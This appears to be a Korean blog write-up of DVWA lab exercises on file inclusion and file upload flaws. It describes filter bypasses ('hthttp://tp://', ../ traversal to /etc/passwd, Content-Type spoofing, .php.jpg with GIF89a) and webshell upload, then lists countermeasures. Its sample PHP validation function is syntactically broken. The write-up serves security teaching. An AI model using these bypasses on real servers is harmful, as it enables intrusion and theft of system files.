- 취약한 웹 페이지에서 RFI를 시도해 보았을 때 공격에 실패한 것을 확인

[캡쳐 6] 입력값 필터링

- page 매개변수로 전달 받은 값에서 http://, https://(File Inclusion 대응), ../, ..\(Directory Traversal 대응)를 공백으로 치환을 수행

[캡쳐 7] 필터링 우회

- http:// 사이에 http://를 입력(hthttp://tp://) 시 필터링에 의해 http://가 공백으로 치환되어 최종적으로 http://가 완성됨.

 

4. DVWA 실습 - High Level

[캡쳐 8] RFI 공격 실패

- page 매개변수를 통해 RFI를 시도하면 ERROR가 출력되며, 필터링을 우회하기 위해 hthttp://tp://를 전달하여도 ERROR가 출력됨.

[캡쳐 9] 입력값 필터링

- 파라미터의 명이 file로 시작하지 않거나, include.php가 아니면 에러를 반환하도록 필터링이 적용됨.

[캡쳐 9] 필터링 우회

- 파라미터를 file로 시작하고, ../를 충분히 입력해 root 디렉터리로 이동 후 /etc/passwd에 접근 시 파일 내용을 확인할 수 있음

- [캡쳐 9]에 적용된 필터링으로는 Directory Traversal 공격에 대응하지 못함.

 

5. DVWA 실습 - Impossible Level

[캡쳐 10] RFI 공격 실패

- 앞서 확인한 필터링을 우회하기 위한 다양한 방법을 시도해 보았지만 ERROR를 출력함

[캡쳐 11] 입력값 필터링

- 소스코드를 확인해 보면 꼭 필요한 파일만 include 될 수 있도록 파일을 지정

 

6. 대응방안

6.1 RFI

1. 원격지 파일을 열지 못하도록 php.ini(php 환경설정 파일) 수정

- allow_url_fopen = OFF
- allow_url_include = OFF

 

6.2 공통

1. 입력값에 대한 필터링을 강화한다(시큐어 코딩 적용)

- hthttp://tp://, ../ 등 필터링을 우회하지 못하도록 필터링 적용

- 중요정보가 저장된 디렉터리나 파일(ex. /etc/passwd, /etc/shadow 등)에 대한 필터링

 

2. include 관련한 에러를 출력하지 않도록 php.ini 수정

- display_errors = OFF

 

3. 파일 존재 유무를 확인하는 코드 삽입

function check_validation($filename){
if (file_exists("$DOCUMENT_ROOT/common/$filename){
echo $filename;
}
else{
echo "접근경로가 올바르지 않습니다.";
exit;
}

 

4.  정기적 로그 분석 진행

 

5. 공격 IP를 탐지 및 차단할 수 있도록 Snort 정책 등 규칙 적용

1. File Upload 취약점

- 주로 게시판 등에서 파일 업로드 기능을 악용하여 시스템 권한을 획득

- 공격자는 서버 사이드 스크립트(ASP, JSP, PHP 등)을 이용하여 웹쉘(WebShell)을 제작 및 업로드

웹쉘(Web Shell)
1. 웹페이지를 뜻하는 "웹(Web)"과 서버에게 명령을 내려 실행하기 위한 인터페이스 역할을 하는 "쉘(Shell)"의 합성어
2. 원격에서 웹서버에 명령어를 실행하기 위하여 만들어진 프로그램
3. 서버 사이드 스크립트(ASP, JSP, PHP 등)를 이용해 제작
4. 취약점을 이용해 웹 서버에 웹쉘 업로드 후 서버상의 정보 유출 및 변조, 악성코드 유포 등의 행위를 수행

- 업로드 파일에 대한 검증이나 환경 설정의 미흡으로 인해 발생할 수 있음

- 해당 공격을 성공하기 위한 조건은 3가지가 있음

공격 성공 조건
1. 파일 업로드가 가능해야 함
2. 파일이 업로드된 디렉터리의 경로를 알아야 함
3. 파일이 업로드된 디렉터리의 실행 권한이 있어야 함

2. 공격실습

2.1 웹쉘 제작

[캡쳐 1] webshell.php

- [캡쳐 1]은 HTTP form에서 입력된 값을 GET 방식으로 전달 받으며, 값이 설정된 경우 쉘 명령어를 수행하는 웹쉘임

 

2.2 File Upload (Low Level)

[캡쳐 2] DVWA

- 파일 업로드 기능이 구현된 페이지에 웹쉘 업로드 시도

[캡쳐 2] 웹쉘 업로드

- 파일 업로드 결과 php 파일이 업로드 되었으며, 파일이 업로드 된 경로 또한 알 수 있음 

- 파일 업로드 경로는 /dvwa/hackable/uploads/webshell.php임을 알 수 있음

1. 현재 디렉터리(/dvwa/vulnerabilities/upload)
2. 상위 디렉터리(../)로 2번 이동 후 /hackable/uploads/에 업로드

[캡쳐 3] 경로 접근

- 해당 경로로 접근 시 webshell.php 파일을 실행할 수 있으며, 임의의 명령을 수행할 수 있음

[캡쳐 4] 명령 수행

2.3 File Upload (Medium Level)

[캡쳐 5] 업로드 실패

- 웹쉘(PHP) 업로드 시 JPEG나 PNG 파일만 업로드 가능하다는 에러 메시지를 출력함

[캡쳐 6] 필터링

- 업로드 파일의 type과 size를 검사하여 JPEG와 PNG 파일이 맞는지 확인하여 필터링을 수행

- Content-Type 헤더 변조를 통해 우회할 수 있음

Content-Type : 클라이언트가 서버에 자원을 보낼 때 어떤 유형의 자원을 보내는지 알려주는 헤더 

[캡쳐 7] content-type 변경 전

- 버프슈트를 이용해 요청을 인터셉트하여 content-type 헤더를 [캡쳐 8]과 같이 변경

[캡쳐 9] content-type 변경 후

- 변경 후 업로드에 성공한 것을 확인할 수 있음

[캡쳐 10] 업로드 성공

- 해당 경로에 접근하여 임의의 명령 수행이 가능함

[캡쳐 11] 명령 수행

 

2.4 File Upload (High Level)

- 파일 업로드 시 [캡쳐 5]와 같이 JPEG나 PNG 파일만 업로드 가능하다는 에러 메시지를 출력함

[캡쳐 12] 필터링

- 업로드 파일명에서 .를 기준으로 나누어 확장자명만을 추출하여, 확장자가 JPG, JPEG, PNG가 맞는지, 업로드 파일 사이즈 검증getimagesize함수를 통해 업로드된 파일이 이미지인지 필터링

getimagesize() : 지정된 이미지 파일의 크기를 확인해서 파일타입과 이미지의 크기에 대한 정보를 배열 형태로 출력

- content-type 변조를 통한 우회 방법은 확장자명이 php를 유지하기 때문에 해당 방법은 통하지 않음

- 확장자 검사를 우회하기 위해 확장자명을 .php.jpg로 변경getimagesize() 우회를 위해 GIF89a 추가

GIF89a : GIF 이미지 파일 표준에 정의된 값으로 이미지 파일인 것처럼 속이는 것이 가능

[캡쳐 13] 정보 변경

- 버프슈트를 통해 파일명과 GIF89a를 추가하여 전송하면 파일 업로드에 성공함

[캡쳐 14] 업로드 성공

- 업로드 후 해당 경로에 접근하면 웹쉘이 실행되지 않는데, 이는 업로드한 파일이 jpg 확장자를 가지기 때문

- [캡쳐 12]에서 디렉터리 이동문자에 대한 필터링이 없으므로, ../를 추가하여 시도해 보았으나 실패함(추가적인 매개변수 등이 있는 것으로 판단됨)

[캡쳐 15] 웹쉘 접근 실패

2.5 File Upload (Impossible Level)

[캡쳐 16] 소스 코드

- Impossible Level의 소스코드를 확인하면 필터링을 2번 수행하는 것을 확인할 수 있음

- 2번의 검증을 통해 php 파일인 웹쉘이 본연의 역할을 수행하지 못하게 됨.

1. 업로드한 파일 이미지인지 확장자, Type, getimagesize함수를 이용해 검증
2. 1차 검증을 통과한 파일의 내용으로 이미지 파일 재생성
- imagecreatefromjpeg() : 파일 또는 URL에서 새 이미지 만들기
- imagejpeg() : 브라우저 또는 파일에 이미지 출력

 

추가 대응 방안

1. 업로드 파일의 이름을 랜덤하게 변경하여 공격자가 변경된 파일명을 알지못하게 한다

2. 업로드 디렉터리의 실행권한을 제거한다

3. 업로드 파일에 대한 필터링을 강화한다(시큐어 코딩 적용)

+ Recent posts